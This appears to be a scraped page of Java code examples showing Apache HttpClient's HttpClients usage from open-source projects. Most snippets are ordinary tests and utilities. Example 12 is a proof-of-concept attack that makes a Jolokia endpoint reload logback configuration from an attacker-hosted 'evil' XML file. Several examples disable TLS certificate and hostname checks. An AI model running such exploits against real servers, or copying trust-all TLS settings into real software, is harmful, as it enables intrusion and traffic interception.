Java Code Examples for org.apache.http.impl.client.HttpClients

The following examples show how to use org.apache.http.impl.client.HttpClients. These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may want to check out the right sidebar which shows the related API usage.
Example 1
Source Project: armeria   Source File: AnnotatedServiceTest.java    License: Apache License 2.0 6 votes vote down vote up
@Test
void testClassScopeMediaTypeAnnotations() throws Exception {
    try (CloseableHttpClient hc = HttpClients.createMinimal()) {
        final String uri = "/9/same/path";

        // "application/xml" is matched because "Accept: */*" is specified and
        // the order of @ProduceTypes is {"application/xml", "application/json"}.
        testBodyAndContentType(hc, get(uri, "*/*"),
                               "GET", "application/xml");
        testBodyAndContentType(hc, post(uri, "application/xml", "*/*"),
                               "POST", "application/xml");

        // "application/json" is matched because "Accept: application/json" is specified.
        testBodyAndContentType(hc, get(uri, "application/json"),
                               "GET", "application/json");
        testBodyAndContentType(hc, post(uri, "application/json", "application/json"),
                               "POST", "application/json");

        testStatusCode(hc, get(uri, "text/plain"), 406);
        testStatusCode(hc, post(uri, "text/plain", "*/*"), 415);
    }
}
 
Example 2
Source Project: crnk-framework   Source File: HttpClientAdapter.java    License: Apache License 2.0 6 votes vote down vote up
private HttpClientBuilder createBuilder() {
    // brave enforces this, hopefully can be removed again eventually

    HttpClientBuilder builder = null;
    for (HttpClientAdapterListener listener : nativeListeners) {
        if (listener instanceof HttpClientBuilderFactory) {
            PreconditionUtil
                    .assertNull("only one module can contribute a HttpClientBuilder with HttpClientBuilderFactory", builder);
            builder = ((HttpClientBuilderFactory) listener).createBuilder();
        }
    }

    if (builder != null) {
        return builder;
    } else {
        return HttpClients.custom();
    }

}
 
Example 3
Source Project: armeria   Source File: WebAppContainerTest.java    License: Apache License 2.0 6 votes vote down vote up
@Test
public void echoPost() throws Exception {
    try (CloseableHttpClient hc = HttpClients.createMinimal()) {
        final HttpPost post = new HttpPost(server().httpUri() + "/jsp/echo_post.jsp");
        post.setEntity(new StringEntity("test"));

        try (CloseableHttpResponse res = hc.execute(post)) {
            assertThat(res.getStatusLine().toString()).isEqualTo("HTTP/1.1 200 OK");
            assertThat(res.getFirstHeader(HttpHeaderNames.CONTENT_TYPE.toString()).getValue())
                    .startsWith("text/html");
            final String actualContent = CR_OR_LF.matcher(EntityUtils.toString(res.getEntity()))
                                                 .replaceAll("");
            assertThat(actualContent).isEqualTo(
                    "<html><body>" +
                    "<p>Check request body</p>" +
                    "<p>test</p>" +
                    "</body></html>");
        }
    }
}
 
Example 4
Source Project: zerocode-hello-world   Source File: CustomHttpClient.java    License: MIT License 6 votes vote down vote up
/**
 * This method has been overridden here simply to show how a custom/project-specific http client
 * can be plugged into the framework.
 *
 * e.g. You can create your own project specific http client needed for http/https/tls connections or
 * a Corporate proxy based Http client here.
 * Sometimes you may need a simple default http client
 * e.g. HttpClients.createDefault() provided by Apache lib.
 *
 * Note:
 * If you do not override this method, the framework anyways creates a http client suitable for both http/https.
 */
@Override
public CloseableHttpClient createHttpClient() throws NoSuchAlgorithmException, KeyManagementException, KeyStoreException {
    LOGGER.info("###Used SSL Enabled Http Client for http/https/TLS connections");

    SSLContext sslContext = new SSLContextBuilder()
            .loadTrustMaterial(null, (certificate, authType) -> true).build();

    CookieStore cookieStore = new BasicCookieStore();

    return HttpClients.custom()
            .setSSLContext(sslContext)
            .setSSLHostnameVerifier(new NoopHostnameVerifier())
            .setDefaultCookieStore(cookieStore)
            .build();
}
 
Example 5
Source Project: zerocode   Source File: CustomHttpClient.java    License: Apache License 2.0 6 votes vote down vote up
/**
 * This method has been overridden here simply to show how a custom/project-specific http client
 * can be plugged into the framework.
 *
 * e.g. You can create your own project specific http client needed for http/https/tls connections or
 * a Corporate proxy based Http client here.
 * Sometimes you may need a simple default http client
 * e.g. HttpClients.createDefault() provided by Apache lib.
 *
 * Note:
 * If you do not override this method, the framework anyways creates a http client suitable for both http/https.
 */
@Override
public CloseableHttpClient createHttpClient() throws NoSuchAlgorithmException, KeyManagementException, KeyStoreException {
    LOGGER.info("###Used SSL Enabled Http Client for http/https/TLS connections");

    SSLContext sslContext = new SSLContextBuilder()
            .loadTrustMaterial(null, (certificate, authType) -> true).build();

    CookieStore cookieStore = new BasicCookieStore();

    return HttpClients.custom()
            .setSSLContext(sslContext)
            .setSSLHostnameVerifier(new NoopHostnameVerifier())
            .setDefaultCookieStore(cookieStore)
            .build();
}
 
Example 6
Source Project: tinkerpop   Source File: GremlinServerHttpIntegrateTest.java    License: Apache License 2.0 6 votes vote down vote up
@Test
public void should200OnPOSTWithAnyAcceptHeaderDefaultResultToJson() throws Exception {
    final CloseableHttpClient httpclient = HttpClients.createDefault();
    final HttpPost httppost = new HttpPost(TestClientFactory.createURLString());
    httppost.addHeader("Content-Type", "application/json");
    httppost.addHeader("Accept", "*/*");
    httppost.setEntity(new StringEntity("{\"gremlin\":\"1-1\"}", Consts.UTF_8));

    try (final CloseableHttpResponse response = httpclient.execute(httppost)) {
        assertEquals(200, response.getStatusLine().getStatusCode());
        assertEquals("application/json", response.getEntity().getContentType().getValue());
        final String json = EntityUtils.toString(response.getEntity());
        final JsonNode node = mapper.readTree(json);
        assertEquals(0, node.get("result").get("data").get(GraphSONTokens.VALUEPROP).get(0).get(GraphSONTokens.VALUEPROP).asInt());
    }
}
 
Example 7
Source Project: dropwizard-websockets   Source File: DropWizardWebsocketsTest.java    License: MIT License 6 votes vote down vote up
@Before
    public void setUp() throws Exception {

        this.client = HttpClients.custom()
                .setServiceUnavailableRetryStrategy(new DefaultServiceUnavailableRetryStrategy(3, 2000))
                .setDefaultRequestConfig(RequestConfig.custom()
                        .setSocketTimeout(10000)
                        .setConnectTimeout(10000)
                        .setConnectionRequestTimeout(10000)
                        .build()).build();
        this.om = new ObjectMapper();
        this.wsClient = ClientManager.createClient();
        wsClient.getProperties().put(ClientProperties.HANDSHAKE_TIMEOUT, 10000);        
            if (System.getProperty(TRAVIS_ENV) != null) {
                System.out.println("waiting for Travis machine");
                waitUrlAvailable(String.format("http://%s:%d/api?name=foo", LOCALHOST, PORT));
//                Thread.sleep(1); // Ugly sleep to debug travis            
            }
    }
 
Example 8
@Autowired
public ExternalItemRecommendationAlgorithm(ItemService itemService){
    cm = new PoolingHttpClientConnectionManager();
    cm.setMaxTotal(100);
    cm.setDefaultMaxPerRoute(20);
    
    RequestConfig requestConfig = RequestConfig.custom()
            .setConnectionRequestTimeout(DEFAULT_REQ_TIMEOUT)
            .setConnectTimeout(DEFAULT_CON_TIMEOUT)
            .setSocketTimeout(DEFAULT_SOCKET_TIMEOUT).build();
    
    httpClient = HttpClients.custom()
            .setConnectionManager(cm)
            .setDefaultRequestConfig(requestConfig)
            .build();
    
    this.itemService = itemService;
}
 
Example 9
Source Project: tcSlackBuildNotifier   Source File: SlackNotificationImpl.java    License: MIT License 6 votes vote down vote up
public void setProxy(String proxyHost, Integer proxyPort, Credentials credentials) {
      this.proxyHost = proxyHost;
      this.proxyPort = proxyPort;
      
if (this.proxyHost.length() > 0 && !this.proxyPort.equals(0)) {
          HttpClientBuilder clientBuilder = HttpClients.custom()
              .useSystemProperties()
              .setProxy(new HttpHost(proxyHost, proxyPort, "http"));
              
          if (credentials != null) {
              CredentialsProvider credsProvider = new BasicCredentialsProvider();
              credsProvider.setCredentials(new AuthScope(proxyHost, proxyPort), credentials);
              clientBuilder.setDefaultCredentialsProvider(credsProvider);
              Loggers.SERVER.debug("SlackNotification ::using proxy credentials " + credentials.getUserPrincipal().getName());
          }
          
          this.client = clientBuilder.build();
}
  }
 
Example 10
Source Project: x7   Source File: DefaultRestTemplate.java    License: Apache License 2.0 6 votes vote down vote up
@Override
public String get(Class clz, String url, List<KV> headerList) {

    CloseableHttpClient httpclient = null;
    if (requestInterceptor != null && responseInterceptor != null) {
        httpclient = httpClient(requestInterceptor, responseInterceptor);
    } else {
        httpclient = HttpClients.createDefault();
    }
    List<KV> tempHeaderList = new ArrayList<>();
    for (HeaderInterceptor headerInterceptor : headerInterceptorList){
        KV kv = headerInterceptor.apply(this);
        tempHeaderList.add(kv);
    }

    if (headerList!=null && !tempHeaderList.isEmpty()) {
        tempHeaderList.addAll(headerList);
    }
    return HttpClientUtil.get(clz,url, tempHeaderList,properties.getConnectTimeout(),properties.getSocketTimeout(),httpclient);
}
 
Example 11
Source Project: jumbune   Source File: InfluxDBUtil.java    License: GNU Lesser General Public License v3.0 6 votes vote down vote up
/**
 * Create database in influxdb according to configuration provided
 * 
 * @param configuration
 * @throws Exception
 */
public static void createDatabase(InfluxDBConf configuration) throws Exception {
	if (configuration == null) {
		return;
	}
	StringBuffer url = new StringBuffer();
	url.append(HTTP).append(configuration.getHost().trim()).append(COLON)
			.append(configuration.getPort()).append(SLASH_QUERY);
	CloseableHttpClient httpClient = HttpClients.createDefault();
	HttpPost httpPost = new HttpPost(url.toString());
	httpPost.setEntity(new StringEntity(CREATE_DATABASE + configuration.getDatabase() + "\"",
			ContentType.APPLICATION_FORM_URLENCODED));
	httpClient.execute(httpPost);
	httpClient.close();
	createRetentionPolicy(configuration);
	updateRetentionPolicy(configuration);
}
 
Example 12
Source Project: learnjavabug   Source File: JolokiaAttackForLogback.java    License: MIT License 6 votes vote down vote up
public static void main(String[] args) {
  String target = "http://localhost:8080";
  String evilXML = "http:!/!/127.0.0.1:80!/logback-evil.xml";
  HttpGet httpGet = new HttpGet(target + "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/" + evilXML);
  try {
    HttpClientBuilder httpClientBuilder = HttpClients
        .custom()
        .disableRedirectHandling()
        .disableCookieManagement()
        ;

    CloseableHttpClient httpClient = null;
    CloseableHttpResponse response = null;
    try {
      httpClient = httpClientBuilder.build();
      response = httpClient.execute(httpGet);
    } finally {
      response.close();
      httpClient.close();
    }
  } catch (Exception e) {
    e.printStackTrace();
  }

}
 
Example 13
@Test
public void testGetUserFromAdminPageNoAccessWithFakeCookie2() throws Exception {
    login(admin.email, admin.pass);

    SSLContext sslcontext = TestUtil.initUnsecuredSSLContext();
    // Allow TLSv1 protocol only
    SSLConnectionSocketFactory sslsf = new SSLConnectionSocketFactory(sslcontext, new MyHostVerifier());
    CloseableHttpClient httpclient2 = HttpClients.custom()
            .setSSLSocketFactory(sslsf)
            .setDefaultRequestConfig(RequestConfig.custom().setCookieSpec(CookieSpecs.STANDARD).build())
            .build();


    String testUser = "[email protected]";
    String appName = "Blynk";
    HttpGet request = new HttpGet(httpsAdminServerUrl + "/users/" + testUser + "-" + appName);
    request.setHeader("Cookie", "session=123");

    try (CloseableHttpResponse response = httpclient2.execute(request)) {
        assertEquals(404, response.getStatusLine().getStatusCode());
    }
}
 
Example 14
@Override
public void run() { 
  try (CloseableHttpClient client = HttpClients.createDefault()) {

    System.out.println("sending request to " + url);
    HttpPost post = new HttpPost(url);
    StringEntity entity = new StringEntity(GSON.toJson(request), "UTF-8");
    post.setEntity(entity);
    try (CloseableHttpResponse response = client.execute(post)) {
      System.out.println("done: " + response.getStatusLine());
      
    }
  } catch (IOException e) {
    // TODO Auto-generated catch block
    e.printStackTrace();
  }
}
 
Example 15
Source Project: OneBlog   Source File: ImageDownloadUtil.java    License: GNU General Public License v3.0 6 votes vote down vote up
private static InputStream getInputStreamByUrl(String url, String referer) {
    HttpGet httpGet = new HttpGet(checkUrl(url));
    httpGet.setHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36");
    if (StringUtils.isNotEmpty(referer)) {
        httpGet.setHeader("referer", referer);
    }
    CloseableHttpClient httpclient = HttpClients.createDefault();
    CloseableHttpResponse response = null;
    InputStream in = null;
    try {
        response = httpclient.execute(httpGet);
        in = response.getEntity().getContent();
        if (response.getStatusLine().getStatusCode() == 200) {
            return in;
        } else {
            log.error("Error. %s", parseInputStream(in));
            return null;
        }
    } catch (IOException e) {
        log.error(e.getMessage(), e);
    }
    return in;
}
 
Example 16
Source Project: mtls-springboot   Source File: ServerApplication.java    License: The Unlicense 5 votes vote down vote up
private HttpClient httpClient() throws Exception {
    // Load our keystore and truststore containing certificates that we trust.
    SSLContext sslcontext =
            SSLContexts.custom().loadTrustMaterial(trustResource.getFile(), trustStorePassword.toCharArray())
                    .loadKeyMaterial(keyStore.getFile(), keyStorePassword.toCharArray(),
                            keyPassword.toCharArray()).build();
    SSLConnectionSocketFactory sslConnectionSocketFactory =
            new SSLConnectionSocketFactory(sslcontext, new NoopHostnameVerifier());
    return HttpClients.custom().setSSLSocketFactory(sslConnectionSocketFactory).build();
}
 
Example 17
Source Project: streams   Source File: RiakHttpClient.java    License: Apache License 2.0 5 votes vote down vote up
public void start() throws Exception {
  Objects.nonNull(config);
  assert(config.getScheme().startsWith("http"));
  URIBuilder uriBuilder = new URIBuilder();
  uriBuilder.setScheme(config.getScheme());
  uriBuilder.setHost(config.getHosts().get(0));
  uriBuilder.setPort(config.getPort().intValue());
  baseURI = uriBuilder.build();
  client = HttpClients.createDefault();
}
 
Example 18
Source Project: java-docs-samples   Source File: FhirResourceGetHistory.java    License: Apache License 2.0 5 votes vote down vote up
public static void fhirResourceGetHistory(String resourceName, String versionId)
    throws IOException, URISyntaxException {
  // String resourceName =
  //    String.format(
  //        FHIR_NAME, "project-id", "region-id", "dataset-id", "store-id", "resource-type",
  // "resource-id");
  // String versionId = "version-uuid"

  // Initialize the client, which will be used to interact with the service.
  CloudHealthcare client = createClient();

  HttpClient httpClient = HttpClients.createDefault();
  String uri = String.format("%sv1/%s/_history/%s", client.getRootUrl(), resourceName, versionId);
  URIBuilder uriBuilder = new URIBuilder(uri).setParameter("access_token", getAccessToken());

  HttpUriRequest request =
      RequestBuilder.get()
          .setUri(uriBuilder.build())
          .addHeader("Content-Type", "application/fhir+json")
          .addHeader("Accept-Charset", "utf-8")
          .addHeader("Accept", "application/fhir+json; charset=utf-8")
          .build();

  // Execute the request and process the results.
  HttpResponse response = httpClient.execute(request);
  HttpEntity responseEntity = response.getEntity();
  if (response.getStatusLine().getStatusCode() != HttpStatus.SC_OK) {
    System.err.print(
        String.format(
            "Exception retrieving FHIR history: %s\n", response.getStatusLine().toString()));
    responseEntity.writeTo(System.err);
    throw new RuntimeException();
  }
  System.out.println("FHIR resource retrieved from version: ");
  responseEntity.writeTo(System.out);
}
 
Example 19
Source Project: frpMgr   Source File: HttpClientUtils.java    License: MIT License 5 votes vote down vote up
/**
 * 执行一个http请求,传递HttpGet或HttpPost参数
 */
public static String executeRequest(HttpUriRequest httpRequest, String charset) {
	CloseableHttpClient httpclient;
	if ("https".equals(httpRequest.getURI().getScheme())){
		httpclient = createSSLInsecureClient();
	}else{
		httpclient = HttpClients.createDefault();
	}
	String result = "";
	try {
		try {
			CloseableHttpResponse response = httpclient.execute(httpRequest);
			HttpEntity entity = null;
			try {
				entity = response.getEntity();
				result = EntityUtils.toString(entity, charset);
			} finally {
				EntityUtils.consume(entity);
				response.close();
			}
		} finally {
			httpclient.close();
		}
	}catch(IOException ex){
		ex.printStackTrace();
	}
	return result;
}
 
Example 20
Source Project: nexus-public   Source File: NexusITSupport.java    License: Eclipse Public License 1.0 5 votes vote down vote up
protected HttpClientBuilder clientBuilder(final URL nexusUrl, final boolean useCredentials) throws Exception {
  HttpClientBuilder builder = HttpClients.custom();
  builder.setDefaultRequestConfig(requestConfig());
  if (useCredentials) {
    doUseCredentials(nexusUrl, builder);
  }
  builder.setSSLSocketFactory(sslSocketFactory());
  return builder;
}
 
Example 21
Source Project: sdk   Source File: AviSDKMockTest.java    License: Apache License 2.0 5 votes vote down vote up
private HttpResponse httpPostCall() throws IOException {
	String content = readFile("InputFile.json", StandardCharsets.UTF_8);
	JSONObject obj = new JSONObject(content);
	JSONObject postInput = (JSONObject) obj.get("postInput");
	String poolStr = postInput.toString();
	StringEntity entity = new StringEntity(poolStr);
	CloseableHttpClient httpClient = HttpClients.createDefault();
	HttpPost request = new HttpPost("http://localhost:8090/api/pool");
	request.addHeader("Content-Type", "application/json");
	request.setEntity(entity);
	return httpClient.execute(request);
}
 
Example 22
Source Project: fido2   Source File: SKFSClient.java    License: GNU Lesser General Public License v2.1 5 votes vote down vote up
private static String callServer(HttpRequestBase request){
    try(CloseableHttpClient httpclient = HttpClients.createDefault()){
        System.out.println(request);
        HttpResponse response = httpclient.execute(request);
        return getAndVerifySuccessfulResponse(response);
    }
    catch (IOException ex) {
        WebauthnTutorialLogger.logp(Level.SEVERE, CLASSNAME, "callSKFSRestApi", "WEBAUTHN-ERR-5001", ex.getLocalizedMessage());
        throw new WebServiceException(WebauthnTutorialLogger.getMessageProperty("WEBAUTHN-ERR-5001"));
    }
}
 
Example 23
/**
 * Creates an HTTP client that trusts all upstream servers and uses a localhost proxy on the specified port.
 */
private static CloseableHttpClient getNewHttpClient(int proxyPort) {
    try {
        // Trust all certs -- under no circumstances should this ever be used outside of testing
        SSLContext sslcontext = SSLContexts.custom()
                .useTLS()
                .loadTrustMaterial(null, new TrustStrategy() {
                    @Override
                    public boolean isTrusted(X509Certificate[] chain, String authType) throws CertificateException {
                        return true;
                    }
                })
                .build();

        SSLConnectionSocketFactory sslsf = new SSLConnectionSocketFactory(
                sslcontext,
                SSLConnectionSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);

        CloseableHttpClient httpclient = HttpClients.custom()
                .setSSLSocketFactory(sslsf)
                .setProxy(new HttpHost("127.0.0.1", proxyPort))
                // disable decompressing content, since some tests want uncompressed content for testing purposes
                .disableContentCompression()
                .disableAutomaticRetries()
                .build();

        return httpclient;
    } catch (Exception e) {
        throw new RuntimeException("Unable to create new HTTP client", e);
    }
}
 
Example 24
Source Project: anyline   Source File: HttpUtil.java    License: Apache License 2.0 5 votes vote down vote up
public static CloseableHttpClient createClient(String userAgent){ 
	CloseableHttpClient client = null; 
	HttpClientBuilder builder = HttpClients.custom().setDefaultRequestConfig(requestConfig); 
	builder.setUserAgent(userAgent); 
	client = builder.build(); 
	return client; 
}
 
Example 25
@Test
public void requestWithValidToken_ok() throws IOException {
	String jwt = rule.getPreconfiguredJwtGenerator()
			.withClaimValue(GRANT_TYPE, GRANT_TYPE_CLIENT_CREDENTIALS)
			.withScopes(getGlobalScope("Read"))
			.withClaimValue(TokenClaims.EMAIL, "[email protected]")
			.createToken()
			.getTokenValue();
	HttpGet request = createGetRequest(jwt);
	try (CloseableHttpResponse response = HttpClients.createDefault().execute(request)) {
		assertThat(response.getStatusLine().getStatusCode()).isEqualTo(HttpStatus.SC_OK); // 200
		assertThat(EntityUtils.toString(response.getEntity(), "UTF-8"))
				.isEqualTo("You ('[email protected]') can access the application with the following scopes: '[xsapp!t0815.Read]'.");
	}
}
 
Example 26
Source Project: armeria   Source File: AuthServiceTest.java    License: Apache License 2.0 5 votes vote down vote up
@Test
void testAuthorizerResolveNull() throws Exception {
    try (CloseableHttpClient hc = HttpClients.createMinimal()) {
        try (CloseableHttpResponse res =
                     hc.execute(new HttpGet(server.httpUri() + "/authorizer_resolve_null"))) {
            assertThat(res.getStatusLine().toString()).isEqualTo("HTTP/1.1 401 Unauthorized");
        }
    }
}
 
Example 27
Source Project: learnjavabug   Source File: HttpUtil.java    License: MIT License 5 votes vote down vote up
public static String get(String url) {
    HttpGet httpGet = new HttpGet(url);
    try {
      HttpClientBuilder httpClientBuilder = HttpClients
          .custom()
//          .setProxy(new HttpHost("127.0.0.1", 8080))
          .disableRedirectHandling()
//          .disableCookieManagement()
          ;
      if (url.startsWith("https://")) {
        httpClientBuilder.setSSLSocketFactory(sslsf);
      }

      CloseableHttpClient httpClient = null;
      CloseableHttpResponse response = null;
      try {
        httpClient = httpClientBuilder.build();
        response = httpClient.execute(httpGet);
        int status = response.getStatusLine().getStatusCode();
        if (status == 200) {
          BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(response.getEntity().getContent()));
          StringBuilder stringBuilder = new StringBuilder();
          String line;
          while ((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line);
          }
          return stringBuilder.toString();
        }
      } finally {
        response.close();
        httpClient.close();
      }
    } catch (Exception e) {
      e.printStackTrace();
    }
    return null;
  }
 
Example 28
Source Project: skywalking   Source File: CaseAction.java    License: Apache License 2.0 5 votes vote down vote up
private static void visit() throws IOException {
    try (CloseableHttpClient httpClient = HttpClients.createDefault()) {
        HttpGet httpget = new HttpGet("http://localhost:8080/struts2.5-scenario/struts-scenario/case1.action");
        ResponseHandler<String> responseHandler = response -> {
            HttpEntity entity = response.getEntity();
            return entity != null ? EntityUtils.toString(entity) : null;
        };
        httpClient.execute(httpget, responseHandler);
    }
}
 
Example 29
Source Project: zstack   Source File: RESTFacade.java    License: Apache License 2.0 5 votes vote down vote up
static TimeoutRestTemplate createRestTemplate(int readTimeout, int connectTimeout) {
    HttpComponentsClientHttpRequestFactory factory = new TimeoutHttpComponentsClientHttpRequestFactory();
    factory.setReadTimeout(readTimeout);
    factory.setConnectTimeout(connectTimeout);

    SSLContext sslContext = DefaultSSLVerifier.getSSLContext(DefaultSSLVerifier.trustAllCerts);

    if (sslContext != null) {
        factory.setHttpClient(HttpClients.custom()
                .setSSLHostnameVerifier(new NoopHostnameVerifier())
                .setSSLContext(sslContext)
                .build());
    }

    TimeoutRestTemplate template = new TimeoutRestTemplate(factory);

    StringHttpMessageConverter stringHttpMessageConverter = new StringHttpMessageConverter(StandardCharsets.UTF_8);
    stringHttpMessageConverter.setWriteAcceptCharset(true);
    for (int i = 0; i < template.getMessageConverters().size(); i++) {
        if (template.getMessageConverters().get(i) instanceof StringHttpMessageConverter) {
            template.getMessageConverters().remove(i);
            template.getMessageConverters().add(i, stringHttpMessageConverter);
            break;
        }
    }

    return template;
}
 
Example 30
protected void initializeClient() {
  socketFactoryRegistry = this.configureSocketFactories();
  configureConnectionPool(socketFactoryRegistry);
  this.authCache = new BasicAuthCache();
  // A single thread-safe HttpClient, pooling connections via the ConnectionManager
  this.client = HttpClients.custom().setConnectionManager(pool).build();
}